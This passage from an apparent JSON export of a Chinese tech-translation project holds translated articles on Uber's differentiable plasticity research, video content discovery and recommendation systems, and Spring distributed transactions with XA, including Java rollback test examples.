    "content": "> * 原文地址：[Differentiable Plasticity: A New Method for Learning to Learn](https://eng.uber.com/differentiable-plasticity/)\n> * 原文作者：[Uber Engineering](https://eng.uber.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/differentiable-plasticity.md](https://github.com/xitu/gold-miner/blob/master/TODO1/differentiable-plasticity.md)\n> * 译者：[luochen](https://github.com/luochen1992)\n> * 校对者：[SergeyChang](https://github.com/SergeyChang) [xxholly32](https://github.com/xxholly32)\n\n# 可微可塑性：一种学会学习的新方法\n\n![](https://i.loli.net/2018/05/15/5afa39e829174.png)\n\n作为 Uber 机器学习系统基础的神经网络，在解决包括图像识别、语言理解和博弈论在内的复杂问题方面被证明是非常成功的。然而，网络通常通过 [梯度下降](https://en.wikipedia.org/wiki/Gradient_descent) 训练到一个终止点，根据多次试验中的网络表现不断调整网络连接。一旦训练完成，网络就已经固定，连接不再改变；因此，除了以后的再训练（又需要很多样本），实际上网络在训练结束时就停止学习。\n\n相比之下，生物大脑表现出的 [**可塑性**](https://en.wikipedia.org/wiki/Neuroplasticity) —— 即在整个生命中，神经元之间连接持续不断地自主变化的能力，使动物能够从持续的经验中快速有效地学习。大脑中不同区域和连接的可塑性水平是通过数百万年的进化而进行微调的结果，以便在动物的一生中进行有效地学习。由此产生的持续学习能力可以让动物只需很少的额外信息（additional data）就能适应变化或不可预测的环境。我们可以很快地记住以前从未见过的场景，或者在完全陌生的情况下从几次试验中获得新的知识。\n\n为了给我们的人工智能体提供类似的能力，Uber 人工智能实验室开发了 [一种称为**可微可塑性**的新方法](https://arxiv.org/abs/1804.02464) 让我们通过梯度下降训练可塑的连接行为，以便他们可以帮助以前训练的网络适应未来的环境。虽然演化这种可塑性神经网络是 [进化计算长期研究的领域](https://arxiv.org/abs/1703.10371)。据我们所知，这里介绍的工作首次表明可以通过梯度下降优化可塑性网络。因为最近人工智能领域的重大突破是以基于梯度的方法为基础的（包括 [图像识别](https://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks)、[机器翻译](https://research.google.com/pubs/pub45610.html) 和 [对弈](https://www.nature.com/articles/nature24270)）。使可塑性网络适应梯度下降训练可能会极大扩展这两种方法的力量。\n\n### 可微可塑性是如何工作的\n\n在我们的方法中，每个连接都会有初始权重，包括决定连接可塑性的系数。更准确地说，神经元 _i_ 的激活值  _y_<sub>_i_</sub> 计算如下：\n\n[![可微可塑性方程](https://eng.uber.com/wp-content/uploads/2018/04/differentiable_plasticity_equation-300x89.png)](http://eng.uber.com/wp-content/uploads/2018/04/differentiable_plasticity_equation.png)\n\n第一个等式是神经网络单元典型的激活函数，不包括输入权重的固定分量（绿色）和可塑性分量（红色）。可塑性分量的 _H_<sub>_i,j_</sub> 项作为输入和输出的函数可以自动更新（正如在第二个等式指出的那样，其他公式也是可以的，在 [这篇论文](https://arxiv.org/abs/1804.02464) 中有讨论。）\n\n在初始训练期间，梯度下降调整结构参数 _w_<sub>_i,_ _j_</sub> 和 <span style=\"color: #333333;\">_α_<sub>_i,j_</sub> 这决定了固定和可塑性分量的大小。因此，在初始训练之后，智能体可以从持续性的经验中自动学习，因为每个连接的可塑性分量都通过神经活动充分塑造以存储信息，让人想起动物（包括人类）中某些学习的形式。\n\n### 展示可微可塑性\n\n为了展示可微可塑性的潜力，我们将其应用于一些需要从不可预知刺激中快速学习具有挑战性的任务。\n\n在图像重建任务中（图 1）网络存储一组从未见过的自然图像；然后显示这些图像中的一张，但其中一半被擦除，并且网络必须从记忆中重建缺失的一半。我们展示了可微可塑性能有效地训练具有数百万参数的大型网络来解决这个任务。重要的是，具有非塑性连接的传统网络（包括 [LSTMs](https://en.wikipedia.org/wiki/Long_short-term_memory) 等最先进的循环结构）无法解决此任务，并且花费相当多的时间来学习它极大简化的版本。\n\n[![图像重建任务](https://eng.uber.com/wp-content/uploads/2018/04/image2.jpg)](https://www.cs.toronto.edu/~kriz/cifar.html)\n\n[![](https://eng.uber.com/wp-content/uploads/2018/04/anim0.gif)](http://eng.uber.com/wp-content/uploads/2018/04/anim0.gif)\n\n图 1：图像补全任务（每一行都是单独的重建过程（episode））。在显示三张图像之后，网络获得部分图像并且必须从记忆中重建缺失的部分。非塑性网络（包括LSTM）无法解决此任务。源图像来自 [CIFAR10 数据集](https://www.cs.toronto.edu/~kriz/cifar.html)\n\n我们还训练了可塑性网络来解决 [Omniglot 任务](https://github.com/brendenlake/omniglot)（一个标准的“学会学习”任务）这需要学习从每人单独绘制的符号中识别一组陌生的手写符号。此外，该方法还可以应用于强化学习问题：可塑性网络在迷宫探索任务中胜过非塑性网络，其中智能体必须发现、记忆并反复到达迷宫内的奖励位置（图 2）。通过这种方式，将可塑性系数添加到神经网络这一简单的思想提供了一种真正新颖的方法 —— 有时是最好的方法 —— 解决广泛的需要从持续经验中不断学习的问题。\n\n[![迷宫探索任务 —— 随机](https://eng.uber.com/wp-content/uploads/2018/04/image5.gif)](http://eng.uber.com/wp-content/uploads/2018/04/image5.gif)\n\n[![迷宫探索任务 —— 应用可微可塑性](https://eng.uber.com/wp-content/uploads/2018/04/image4.gif)](http://eng.uber.com/wp-content/uploads/2018/04/image4.gif)\n\n图 2：迷宫探索任务。智能体（黄色方块）尽可能多地到达奖励地点（绿色方块）从而获得奖励（智能体在每次发现奖励时将其转移到随机地点）。在第 1 次探索迷宫时（左图），智能体的行为实质上是随机的。经过 300,000 次的探索（右图）之后，智能体已经学会记住奖励地点并向其自动寻路。\n\n### 展望\n\n实际上，可微可塑性为 [学会学习](http://bair.berkeley.edu/blog/2017/07/18/learning-to-learn/) 或 [元学习](http://metalearning.ml) 这一经典问题提供了一种新的生物启发式方法，只需通过各种强大的方式利用梯度下降和基础构建块（可塑性连接），这种方法也能非常灵活，就像上述不同任务所证明的那样。\n\n此外，它打开了多个新研究途径的大门。例如，我们是否可以通过连接可塑性来改进现有的复杂网络体系结构，如 LSTM？如果连接的可塑性受到网络本身的控制，那么它似乎类似于 [神经调质](https://www.ncbi.nlm.nih.gov/pubmed/12880632) 影响生物大脑？可塑性是否提供了一种比单独循环网络更有效的记忆形式（请注意，循环网络将传入的信息存储在神经活动中，而可塑性网络将其存储在数量更多的连接中）？\n\n我们打算在未来的可微可塑性工作中研究这些以及其他令人兴奋的问题，并希望其他人加入我们的探索。为了鼓励对这种新方法的研究，我们 [在 GitHub](https://github.com/uber-common/differentiable-plasticity) 发布了上述实验的代码以及 [描述我们的方法和结果的论文](https://arxiv.org/abs/1804.02464)。\n\n要想收到未来 Uber 人工智能实验室博客的文章，请注册为 [我们的邮件列表](https://goo.gl/forms/HvXgNYzSjbalVRQ93) 或者你也可以订阅 [Uber 人工智能实验室 YouTube 频道](https://www.youtube.com/channel/UCOb_oiEfSedawuvRA0oaVoQ)。如果您对加入 Uber AI 实验室感兴趣，请在 [Uber.ai](http://uber.ai) 上提交申请。\n\n[订阅我们的资讯](http://uber.us11.list-manage1.com/subscribe?u=092a95bfe05dfa7c27877ca59&id=381801863c) 以跟上 Uber 工程的最新创新。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/discovery-in-the-age-of-abundant-video.md",
    "content": "> * 原文地址：[Discovery in the age of abundant video](https://medium.com/googleplaydev/discovery-in-the-age-of-abundant-video-294b1e3fe7c4)\n> * 原文作者：[Albert Reynaud](https://medium.com/@Reynaud_10696?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/discovery-in-the-age-of-abundant-video.md](https://github.com/xitu/gold-miner/blob/master/TODO1/discovery-in-the-age-of-abundant-video.md)\n> * 译者：[Yuhanlolo](https://github.com/Yuhanlolo)\n> * 校对者：[DateBro](https://github.com/DateBro)\n\n# 海量视频时代下的内容发现之旅\n\n## 提升内容发现平台上用户体验的关键因素\n\n![](https://cdn-images-1.medium.com/max/1600/0*Z4o0cUjhfdNMRrOd.)\n\n如今在互联网上，人们可以接触到海量的视频信息，[而提供这些视频的平台数量已经超过五年前的两倍](https://www.ericsson.com/en/trends-and-insights/consumerlab/consumer-insights/reports/tv-and-media-2017)。因此，人们往往需要花费更多的时间和精力（[+13% YoY](https://www.ericsson.com/en/trends-and-insights/consumerlab/consumer-insights/reports/tv-and-media-2017)）去搜索自己感兴趣的内容。\n\n![](https://cdn-images-1.medium.com/max/1600/0*enf33FQyYbhzNvV2.)\n\n对于大部分内容创作者而言，随着许多开放式（“OTT”）平台的激增以及新型消费习惯的形成，建立平台对用户的粘性越来越具有挑战性。而具备让用户能够在各种情景下畅行无阻地享受视频探索过程的能力，很大程度上可以保证这些平台的成功。\n\n在这篇文章里，我将分享我在欧洲各个媒体平台的工作经历中收集到的关于内容发现的一些干货以及实际操作。由于谷歌是用户进入你的应用或者网站的基本途径，我将集中讨论用户进入你的应用之后的发现过程。\n\n### 决定如何评估成功\n\n![](https://cdn-images-1.medium.com/max/1600/0*kdOZRPISbF-SyFvm.)\n\n让我们先来谈谈发现！但是等等，我们应该如何评估用户的发现之旅是否成功呢？\n\n无需强调选择正确的 KPI 对于评估内容发现实验的重要性。有意思的是，无论你是否使用视频订阅（“SVOD”）、投放广告（“AVOD”），或者商业传播的服务，这些 KPI 在不同情景下会非常不一样。下面是一些通过 KPI 来评估用户在内容发现平台上的体验的常见例子：  \n\n*   视频观看时间及次数\n*   每周平均回放次数，播放完成次数\n*   会话（session）数量及时长\n*   来自推荐引擎的会话（session）和回放数量所占的百分比\n\n这些短期 KPI 的潜在问题在于，过度地关注它们反而会导致你偏离原本的长期的商业目标。比如说，你可以通过推荐低质量的轰动性内容增加播放量，但从长远来看，这样做会影响平台的形象以及用户的忠诚度。\n\n因此，我推荐采用短期 KPI 和 长期 KPI 结合的方式，比如说 **订阅人数或 30 天之内的用户留存率。** 虽然这比 A/B test 更加困难, 但它可以保证你为用户所提供的体验与你的长期商业目标是一致的。\n\n### 为你的推荐引擎选择正确的燃料\n\n![](https://cdn-images-1.medium.com/max/1600/0*pXKT80eUkgEbBk-7.)\n\n当推荐引擎变得更聪明的时候，它们毫无疑问地将在用户对平台内容的认知里扮演越来越重要的角色。它们贯穿于整个媒体平台，从动态排序，语义搜索，到集合聚类。\n\n许多系统在使用基本的推荐引擎时取得了一些成功。然而，越来越多的内容提供者正在为他们的推荐系统寻找更复杂的方法，比如：    \n\n*   **合作式过滤：** 通过其他相似用户的喜好以及用户之间的相似程度预测某个用户的喜好。\n*   **基于内容的过滤：** 为用户推荐与他们过去喜欢的内容特性相似的内容。\n\n但是你不能期待算法为你实现所有的事情。找到算法与长期目标之间的平衡比它看起来要复杂得多：\n\n*   **间接反馈与直接反馈：** 如何解释间接反馈呢？用户的什么行为需要被考虑：点击视频，完成回放？如何简化直接反馈呢：评分，点赞等等？最近升级的 Play Movies & TV 是一个典型的例子。我们添加了喜欢和不喜欢的按钮作为直接反馈，并且将该反馈加入推荐算法中 — 这里有一个 16 秒的示例 [video](https://www.youtube.com/watch?v=smc80kgmZ8k&feature=youtu.be&t=16s)。\n*   **手动编辑与自动化：** 如何保持由你的品牌和配置组成的人类推荐呢？内容发现解决方案提供商 [CogniK](https://www.cognik.net/discovery-recommendations/) 推荐通过编辑部门提供的内容列表来改进推荐引擎。类似地，编辑部门可以通过增加特定内容或是分类的权重来控制推荐引擎的某些参数。\n*   **实时推荐与按需推荐：** 何时需要考虑其中实时推荐多于按需推荐，或是按需推荐多于实时推荐呢？如何在不让用户感到疑惑的情况下将这两者结合呢？\n*   **流行程度与新颖程度：** 如何推荐新的和未知的内容，并且避免回声效应呢？如果应用界面与流行趋势不相悖的话，基于合作式过滤的推荐通常会与趋向于当下流行的内容，那么如何平衡意外发现新奇内容的几率和推荐内容的相似程度呢？根据用户在平台停留的时长，一些内容提供者倾向于提高用户意外发现新奇内容的几率。\n\n### 在更广的情景下丰富你的推荐系统\n\n![](https://cdn-images-1.medium.com/max/1600/0*bSqwlsJr9xRmtE3b.)\n\n在一些场景下，个性化要么是不可能（比如初次使用你的平台的用户），要么是不完备的。你也许需要通过其他外部信息来丰富用户体验。\n\n考虑其他因素诸如 **时间**（工作日和周末, 一天中的时间等等），或者 **地点**（突出当地的新闻或频道，运动队等等）是现在媒体和娱乐平台上比较常见的。类似地，内容提供者们倾向于通过 **形态系数**，即人们大多更喜欢在手机上观看短视频，在大屏幕上观看长视频，来调整视频的时长和类别。\n\n最近，我看到越来越多的平台利用 **流行话题** 和即将到来的事件，为他们的推荐系统增加信息流和精选（大选，头条，运动新闻等等）。\n\n### 适应用户的期望和心态\n\n![](https://cdn-images-1.medium.com/max/1600/0*mz0_hVhri9mnMHqI.)\n\n作为一个媒体平台，你应该做好服务于用户各种可能的意图的准备。\n\n其中一个办法是根据目标用户犹豫不决的程度，让你所设计的用户体验能够适应不同的寻找视频观看的行为。由于受到一系列外界因素的影响（和谁一起观看、可以观看的时间、观看的动机、心情等等），你的目标用户也许会用完全不一样的方式去打开他们想要观看的视频。基于之前的研究，Google Play 的电影产品部门使用了一个框架，该框架将用户决定观看某个视频时的操作方式分类成 4 种形式：**搜索、选择、浏览，或者冲浪**。也就是说，你的用户体验应当在 **“特定范畴”** 内涉及每一种形式。\n\n![](https://cdn-images-1.medium.com/max/1600/0*vuY5zE6OLPbnWO5G.)\n\n来源：Google Play 电影研究\n\n同样地，一些内容提供者例如 [Spideo](http://spideo.tv/en/mood-based-discovery/) 正在尝试通过关键词和愿望清单捕捉用户的 **心情**，从而在特定时间为他们推荐合适的内容。\n\n![](https://cdn-images-1.medium.com/max/1600/0*bbcv1sLpaPG5JA-8.)\n\n来源：[Spideo](http://spideo.tv/en/)\n\n虽然让你的内容发现平台适用于用户所有可能的意图是非常困难的，为了让产品团队更好地了解相关信息，通过 **用户画像** 定义典型的目标用户是很有帮助的。通过实验数据，用户的思维方式、需求，以及用户细分的目标组成了用户画像。[通过综合数据分析进一步发现绘制用户画像的最佳实践](https://research.google.com/pubs/pub44167.html)。\n\n![](https://cdn-images-1.medium.com/max/1600/0*x08S8A8z7h-BIN4B.)\n\n来源：Luma Institute\n\n以下是一些我想到的媒体用户画像的示例：坐在沙发上看电视的人、经常跳转屏幕的人、看电视没有节制的人、运动迷，用电脑看视频的人等等。\n\n### 促进日常行为养成\n\n![](https://cdn-images-1.medium.com/max/1600/0*XGPPuhAGqBeEKFWx.)\n\n与其让人们每次一打开你的平台就进入完全的探索发现之旅，不如帮助他们改善经常从事的事情。\n\n通常来说，一些用户细分例如看周末精选的足球迷、看晨间新闻的人，或者在周六晚上看电影的人，他们的行为模式都可以轻易被平台所支持。其中一些目标用户甚至可能不会意识到他们自身的行为模式从而感激你能够预计他们的偏好。\n\n另一个为用户习惯设计体验的很棒的例子是 [Spotify](https://play.google.com/store/apps/details?id=com.spotify.music&hl=en) 的“每周发现”播放列表，这是一个对所有用户开放的个性化的播放列表，让用户在一周内能够发现并享受新的内容。\n\n### 一个舒适的背靠式观影体验\n\n![](https://cdn-images-1.medium.com/max/1600/0*l41zSwlD0gkObg18.)\n\n根据 Ericsson ConsumerLab 的调查，电视台直播和线性录播的节目仍然占据了 58% 的活跃播放时长。虽然年轻一代的观众越来越倾向于点播，大部分人仍旧喜欢意外发现新奇内容的经历和观看录播的电视节目，并且他们会继续寻找一个更加舒适的背靠式观影的体验。\n\n为了重新创建背靠式观影的优势，许多点播服务开始提供为用户提供微交互的方式（例如，来自 [Deezer](https://youtu.be/ykbaMNaGLgc) 的 Flow），让用户可以非常容易地根据自己的喜好打开和调整节目。观众们将会期待更多的背靠式观影体验、原谅那些不够准确的信息，以及要求透明度和播放控制权。\n\n也有其他可以将这种流程带入发现体验的方法。一些例如自动播放的功能已经被大部分平台使用了。除此之外，我也看到了许多很棒的功能，比如说[**子母画面**](https://developer.android.com/guide/topics/ui/picture-in-picture.html)，或者“集中注意力的时候开始播放”。以上所有的功能都参与了在点播平台上重建线性节目。\n\n### 辅助决定\n\n![](https://cdn-images-1.medium.com/max/1600/0*lnTXJY_3Rgi_k8w3.)\n\n对于产品团队来说，尽可能多地将各种信息和平台内容联系起来是一件很吸引人的事情，他们认为这样可以帮助用户更好地作出决定。然而，一系列信息比如标题，描述，分类，价格，评分，预告等等，很快地让用户信息过载，从而导致他们进入一个 **“决定无能”** 的状态。\n\n我们常说：“一图胜千言”，因此，现今许多平台都投入了越来越多的时间去为优化内容的视觉效果。用户研究同时也可以帮助你区别“最关键的”的信息和“重要的”，或者是“加分的”信息，从而决定相应的优先权。\n\n另一个常见的方法是只在用户有需求或是有兴趣的情况下才显示额外的信息，以此来简化用户体验。用户的兴趣通常表现为：点击，光标集中等等 — 这里有一个 37 秒的视频例子 [video](https://www.youtube.com/watch?v=smc80kgmZ8k&feature=youtu.be&t=37s)/s。\n\n最后，你可以考虑为你的标题 **插入编者意见**，从而让他们比起简单的标题更有可读性。通过强调运动节目的情景，故事的含义，电视节目的精选，或者新剧集放送，在发现体验中用户将更容易感受到他们自己与内容的关联。\n\n* * *\n\n希望这些建议能够帮助你定义和优化你的平台内容以及取悦你的用户 — 无论你是通过更好的目标定位，优化推荐引擎从而加速内容可见度，提高对用户的理解，还是预测他们的行为和在不同时间地方的喜好。\n\n### 你怎么看？\n\n你对媒体平台上的内容发现有什么想法吗？请在下面留言或者用通过 **#AskPlayDev** 的标签在 tweet 上告诉我们。我们将会通过 [@GooglePlayDev](http://twitter.com/googleplaydev) 这个邮箱地址回复你，这也是也是我们通常用来分享如何让 Google Play 变得更好的新闻和意见的邮箱。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md",
    "content": "> * 原文地址：[Distributed transactions in Spring, with and without XA - Part I](https://www.javaworld.com/article/2077963/distributed-transactions-in-spring--with-and-without-xa.html)\n> * 原文作者：[David Syer](mailto:david.syer@springsource.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md)\n> * 译者：[JackEggie](https://github.com/JackEggie)\n> * 校对者：[fireairforce](https://github.com/fireairforce)\n\n# Spring 的分布式事务实现 — 使用和不使用 XA — 第一部分\n\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md)\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md)\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md)\n\n> Spring 的 7 种事务处理模式\n\n虽然在 Spring 中分布式事务通常使用 Java Transaction API 和 XA 协议实现，但也有其他的实现方式。最好的实现方式取决于应用程序所使用资源的类型，以及你是否愿意在性能、安全性、可靠性和数据完整性之间做出权衡。针对这个 Java 中的典型问题，Spring 的开发者 David Syer 将会介绍 7 种 Spring 分布式应用的实现方式，其中 3 种实现使用了 XA 协议，另外 4 种使用了其他的实现方式。（中级知识点）\n\nSpring 框架对 Java Transaction API (JTA) 的支持使应用程序能够[无需在 Java EE 容器中](http://www.javaworld.com/javaworld/jw-04-2007/jw-04-xa.html)即可使用分布式事务和 XA 协议。然而，即使有了这种支持，XA 的性能开销仍然很大，而且可能不可靠并且难于管理。不过令人惊喜的是，某种特定类型的应用程序可以完全避免使用 XA 来实现分布式事务。\n\n为了让你对分布式事务的各种实现方式有充分的理解和思考，我将详细分析这 7 种事务处理模式，并提供代码示例帮助你理解得更具体。我将根据安全性和可靠性来依次介绍这些模式，从通常来说数据完整性和原子性程度最高的模式开始。当你按顺序浏览时，你会看到越来越多的警示说明和限制条件。这些模式的性能开销也大致相反（从开销最大的模式开始）。与编写业务代码完全不同的是，这些模式都是从架构复杂度和技术难度考虑的，所以我不会关心业务用例，只关心使每种模式正常工作的最小代码量。\n\n注意，只有前三种模式涉及 XA。而从性能的角度考虑，这些模式可能无法使用或性能差到不可接受。我不会像介绍其他模式那样对 XA 模式有详细的讨论，因为 XA 在其他地方已经有很多介绍了，不过我提供了第一个模式（基于 XA）的简单示例。通过阅读本文，你将了解使用分布式事务可以做什么、不能做什么，何时使用 XA、何时不使用 XA，以及如何避免使用 XA。\n\n## 分布式事务及其原子性\n\n一个**分布式事务**通常包含多个事务资源。事务资源是指关系型数据库和消息中间件的连接。一个典型的事务资源都会有像 `begin()`、`rollback()`、`commit()` 这样的 API。在 Java 中，一个事务资源通常表现为底层连接工厂提供的实例：对于数据库来说，就是 `Connection` 对象（由 `DataSource` 提供）或是 [Java Persistence API](http://www.javaworld.com/javaworld/jw-01-2008/jw-01-jpa1.html)（JPA）的 `EntityManager` 对象；对于 [Java Message Service](http://www.javaworld.com/jw-01-1999/jw-01-jms.html)（JMS）来说，则是 `Session` 对象。\n\n在一个典型的例子中，一个 JMS 消息触发了数据库的更新。根据时间先后顺序，一次成功的交互过程如下：\n\n1.  启动消息事务\n2.  **接收消息**\n3.  启动数据库事务\n4.  **更新数据库**\n5.  提交数据库事务\n6.  提交消息事务\n\n如果数据库在更新数据时报错（如约束冲突），理想的交互顺序如下：\n\n1.  启动消息事务\n2.  **接收消息**\n3.  启动数据库事务\n4.  **更新数据库失败！**\n5.  回滚数据库事务\n6.  回滚消息事务\n\n在这个例子中，消息在最后回滚完成之后回到了中间件，在某个时刻将再次提交到另一个事务中。这通常是一件好事，因为如果这样做的话更新数据时发生的错误将会被记录下来。（自动重试和异常处理的机制超出了本文的讨论范围。）\n\n上述两个例子中最重要的特点就是**原子性**，逻辑上来说，一个事务要么完全成功，要么完全失败。\n\n那么是什么保证了上面两个例子在流程上的一致性呢？我们必须在事务资源之间进行一些同步，以便在一个事务提交之后，另一个事务才能提交。否则，整个事务就不是原子性的。因为涉及多个资源，所以事务是分布式的。如果不进行同步，事务就不会是原子性的。分布式事务的理论和实现上的困难都与资源的同步（或缺少资源）有关。\n\n下面讨论的前三个模式都是基于 XA 协议的。由于这些模式已经被普及，所以在这里我不会介绍得很详细。如果你对 XA 的模式非常熟悉，你可以直接跳到[共享事务资源模式](#共享事务资源模式)。\n\n## 完整的 XA 协议与两阶段提交（2PC）\n\n如果你需要确保应用程序的事务在服务器宕机（服务器崩溃或断电）之后仍能够恢复，那么完整的 XA 协议是你唯一的选择。在下面的例子中，用于同步事务的共享资源是一个特殊的事务管理器，它使用 XA 协议协调了进程的信息。在 Java 中，从开发者的角度来看，该协议是通过 JTA 的 `UserTransaction` 对象暴露出来的。\n\n作为一个系统接口，XA 是大多数开发者从未见过的一种底层技术。开发者需要知道 XA 协议的存在、它能做什么、性能消耗如何，以及它是如何操作事务资源的。性能消耗来自于[两阶段提交](http://www.javaworld.com/jw-07-2000/jw-0714-transaction.html)（2PC）协议，事务管理器使用该协议来确保所有资源能在事务结束前就事务的结果达成一致。\n\n如果应用程序是基于 Spring 构建的，它将使用 Spring 中的 `JtaTransactionManager` 和 Spring 声明性事务管理来隐藏底层同步的细节。对于开发者来说，使用 XA 与否取决于工厂资源的配置方式：在应用程序中如何配置 `DataSource` 实例和事务管理器。本文包含了一个示例应用程序（`atomikos-db` 项目），它演示了这种配置方式。该应用程序中只有 `DataSource` 实例和事务管理器是基于 XA 或者 JTA 的。\n\n要查看示例的运行方式，请运行 `com.springsource.open.db` 下的单元测试。`MulipleDataSourceTests` 类向两个数据源插入了数据，然后使用 Spring 的集成支持特性将事务回滚，如清单 1 所示：\n\n#### 清单 1. 事务回滚\n\n```java\n@Transactional\n  @Test\n  public void testInsertIntoTwoDataSources() throws Exception {\n\n    int count = getJdbcTemplate().update(\n        \"INSERT into T_FOOS (id,name,foo_date) values (?,?,null)\", 0,\n        \"foo\");\n    assertEquals(1, count);\n\n    count = getOtherJdbcTemplate()\n        .update(\n            \"INSERT into T_AUDITS (id,operation,name,audit_date) values (?,?,?,?)\",\n            0, \"INSERT\", \"foo\", new Date());\n    assertEquals(1, count);\n\n    // 数据的变更将在此方法退出后回滚\n\n  }\n```\n\n然后 `MulipleDataSourceTests` 将会验证这两个操作都回滚完成，如清单 2 所示：\n\n#### 清单 2. 验证回滚\n\n```java\n@AfterTransaction\n  public void checkPostConditions() {\n\n    int count = getJdbcTemplate().queryForInt(\"select count(*) from T_FOOS\");\n    // 该数据变更已被测试框架回滚\n    assertEquals(0, count);\n\n    count = getOtherJdbcTemplate().queryForInt(\"select count(*) from T_AUDITS\");\n    // 由于 XA 的存在，该数据变更也被回滚了\n    assertEquals(0, count);\n\n  }\n```\n\n为了更好地理解 Spring 事务管理的工作原理以及配置的方式，请参阅 [Spring 参考文档](http://static.springframework.org/spring/docs/2.5.x/reference/new-in-2.html#new-in-2-middle-tier)。\n\n## XA 与 1PC 优化\n\n这种模式通过避免 2PC 的性能开销对许多只包含单资源事务的事务管理器进行了优化。你将会希望你的应用程序服务能够借此解决这个问题。\n\n## XA 与最终资源策略\n\nXA 事务管理器的另一个特性是，当除某一个资源外的所有资源都支持 XA 时，它仍然可以提供与所有资源都支持 XA 时相同的数据恢复保证。通过对资源进行排序，并使非 XA 资源参与决策来实现该特性。如果提交失败，则回滚所有其他资源。这几乎是 100% 的完全性保证，但还不够完美。当提交失败时，除非采取额外的措施（在一些高端实现中有这样的实现），否则报错的跟踪信息会很少。\n\n## 共享事务资源模式\n\n在某些系统中，为了降低复杂性和增加吞吐量，一种较好的模式是通过确保系统中的所有事务资源实际上都是同一个资源的不同形式，从而完全消除对 XA 的依赖。显然，这在所有的用例中都是不可能的，但这种模式与 XA 一样可靠，而且通常要快得多。这样的共享事务资源模式是足够可靠的，但只限于某些特定的平台和处理场景。\n\n有一个这种模式的简单例子对很多人来说都很熟悉，即在对象关系映射（ORM）组件和 [JDBC](http://www.javaworld.com/javaworld/jw-05-2006/jw-0501-jdbc.html) 组件之间共享数据库的 `Connection`。这就是你使用支持 ORM 工具的 Spring 事务管理器时所发生的事情，如 [Hibernate](http://www.javaworld.com/javaworld/jw-10-2004/jw-1018-hibernate.html)、[EclipseLink](http://www.eclipse.org/eclipselink/) 和 [Java Persistence API](http://www.javaworld.com/javaworld/jw-01-2008/jw-01-jpa1.html)（JPA）。同一个事务可以安全地跨 ORM 和 JDBC 组件使用，该执行过程通常由控制事务的服务级方法来实现。\n\n该模式的另一个有效用法是单个数据库的消息驱动更新（如本文中介绍的简单例子所示）。消息中间件系统需要将数据存储在某个地方，通常是关系数据库中。要实现此模式，只需指定消息传递系统的目标数据库为同一个业务数据库即可。此模式需要消息中间件的供应商公开其存储策略的详细信息，以便可以将其配置指向相同的数据库并挂接到相同的事务中。\n\n并不是所有的供应商都能做到这一点。另一种适用于几乎所有数据库的方式，是使用 [Apache ActiveMQ](http://activemq.apache.org/) 进行消息传递并将存储策略配置到消息代理服务器中。了解其中的技巧，配置起来就会非常简单。本文的 `shared-jms-db` 示例项目展示了这种配置方式。应用程序的代码中（在本例中是单元测试）不需要感知这种模式的使用，因为它已经在 Spring 配置中已经以声明方式被启用了。\n\n示例中名为 `SynchronousMessageTriggerAndRollbackTests` 的单元测试验证了所有同步消息的接收处理。`testReceiveMessageUpdateDatabase` 方法接收了两条消息，并将这两条消息中的数据记录插入到数据库中。当退出该方法时，测试框架将会回滚当前的事务，接下来你就可以验证消息和数据库更新都已经回滚，如清单 3 所示：\n\n#### 清单 3. 验证消息和数据库更新的回滚\n\n```java\n@AfterTransaction\npublic void checkPostConditions() {\n\n  assertEquals(0, SimpleJdbcTestUtils.countRowsInTable(jdbcTemplate, \"T_FOOS\"));\n  List<String> list = getMessages();\n  assertEquals(2, list.size());\n\n}\n```\n\n该配置最重要的特性是 